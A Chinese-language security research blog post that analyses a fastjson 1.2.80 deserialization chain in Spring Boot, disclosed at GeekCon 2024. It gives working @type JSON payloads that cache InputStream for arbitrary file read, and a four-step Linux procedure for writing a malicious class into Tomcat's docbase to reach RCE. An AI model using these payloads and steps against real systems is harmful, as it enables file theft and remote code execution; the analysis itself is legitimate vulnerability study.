geekcon2024 jsjcw师傅披露的fastjson 1.2.80在spring下的RCE利用有很多值得学习的地方。这么看去年出的elephantcms又多了一个非预期,不过这个非预期比预期解还难😓
问题1:缓存InputStream
怎么缓存InputStream
1.2.68
的修复方式将java.lang.Runnable
、java.lang.Readable
和java.lang.AutoCloseable
加入了黑名单。在1.2.80
的常见利用中用到的期望类为:Throwable
和Exception
,而本次gadget
用到的是Exception
。
学习本次挖掘gadget
需了解关键特性1:fastjson反序列化符合条件的期望类时,会将setter
参数、public
字段、构造函数参数加到缓存中。
我们先发一个简单的payload
看看fastjson
是怎么缓存新类的:
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}
跟进到com.alibaba.fastjson.parser.ParserConfig#checkAutoType
:
checkAutoType:1444, ParserConfig (com.alibaba.fastjson.parser)
parseObject:343, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:181, JSON (com.alibaba.fastjson)
parse:155, JSON (com.alibaba.fastjson)
getPropertyValue:3850, JSONPath (com.alibaba.fastjson)
eval:2354, JSONPath$PropertySegment (com.alibaba.fastjson)
eval:121, JSONPath (com.alibaba.fastjson)
handleResovleTask:1599, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:191, JSON (com.alibaba.fastjson)
parse:147, JSON (com.alibaba.fastjson)
vuln:12, JSONController (org.example.controller)
发现这里从Mapping
缓存取到了Exception
期望类:
可以看到在TypeUtils
的static
中(也就是初始化)调用addBaseClassMappings
往mappings
缓存中添加了Exception
等期望类:
在拿到对应的Exception
类后该恢复字段信息了,这里我们的字段是特殊的@type
。首先fj
找到Exception
对应的反序列化器ThrowableDeserializer
:
后续会走到ThrowableDeserializer#deserialize
,注意这里传了期望类(Throwable.class):
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此在loadclass
后会把com.fasterxml.jackson.core.exc.InputCoercionException
加到缓存:
ok,发送如下payload
:
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException","p":{}}
在拿到反序列化器并且恢复完InputCoercionException
后,后面用反序列化器拿到对应字段并根据key
实例化FieldDeserializer
。这里fileldInfo
的class
是JsonParser
,因为我们的value
是个jsonobject
因此调用cast
进行类型转换:
这个函数会根据传入对象的类型来进行对应的类型转换,传入的是p
会走到Map
的类型转换:
注意这里拿了com.fasterxml.jackson.core.JsonParser
的反序列化器。
调用putDeserializer
函数this.deserializers.put(type, deserializer)
,也就是说在拿到构造函数字段的反序列化器的同时还会往缓存里放type
和反序列化器。
this.deserializers.put(type, deserializer);
好好好,接下来发送:
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}
而后续在反序列化JsonParser
类过程中走checkAutoType
就能取到这个类了:
对UTF8StreamJsonParser
来说他是JsonParser
一个特殊field
,情况和InputCoercionException
之于Exception
相似:
在loadClass
该类后还是走这个添加缓存逻辑:
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
而又因为InputStream
是UTF8StreamJsonParser
的构造参数因此不再赘述,与上述InputCoercionException
之于JsonParser
的情况类似。
PS:翻了翻实现JsonParser
的类发现确实只有UTF8StreamJsonParser
的构造参数存在InputStream
,因此想找新链的话只能从InputCoercionException
甚至更往前找了:)
整体gadget
逻辑作者写的非常清晰:
为什么缓存InputStream
因为在1.2.80 fastjson
禁了AutoCloseable
,而BH
之前爆出来的逐字节读文件的利用类BOMInputStream
继承了InputStream
,因此拿InputStream
就是为了实现任意文件读。
这里合理推测作者是看到这个poc
开始挖掘gadget
的。因为AutoCloseable
被ban
退而求其次找InputStream
,结合fastjson
缓存新类的特性找到了往缓存里塞InputStream
的gadget
。
关于任意文件写,作者应该是找到了一个全新的链子解决了必须8192
字节的问题,膜:
不过话说回来之前看过一个fj
绕WAF
打任意文件写的ctf
题,那道题最后限制了字符长度,打8192
字节那条gadget
会被ban
,不知道是不是想考这条链子?
问题2:SpringBoot 任意文件写 to RCE?
尽管之前有师傅提出了写charset.jar
实现RCE
的思路,但本人从未复现成功过(不是没权限就是存在类加载问题)。这里作者给了一个新的思路同样很值得学习。
fastjson
在类加载时通过TomcatEmbeddedWebappClassLoader
类加载器加载类:
根据双亲委派机制有些类会让WebappClassLoaderBase
来加载。而WebappClassLoaderBase#findClass
这里竟然有个加载内部类的逻辑:
看一下类加载路径,居然在temp
目录下有个新的类加载口子:
而在linux
下docbase
的路径在/tmp
,因此往docbase
路径下写类就可以打类加载了,而该路径可以通过路径遍历或任意文件读取得到。不过话说回来在应用重启时又会出现新的docbase
,图省事的话我们全都打一遍。
linux攻击流程
- 将
InputStream
放入fastjson
缓存 - 读取
/tmp
文件下的文件,找到docbase
的文件名。 - 往
${docbase}/WEB-INF/classes/
路径下写入恶意类 - 通过
fastjson
触发类加载。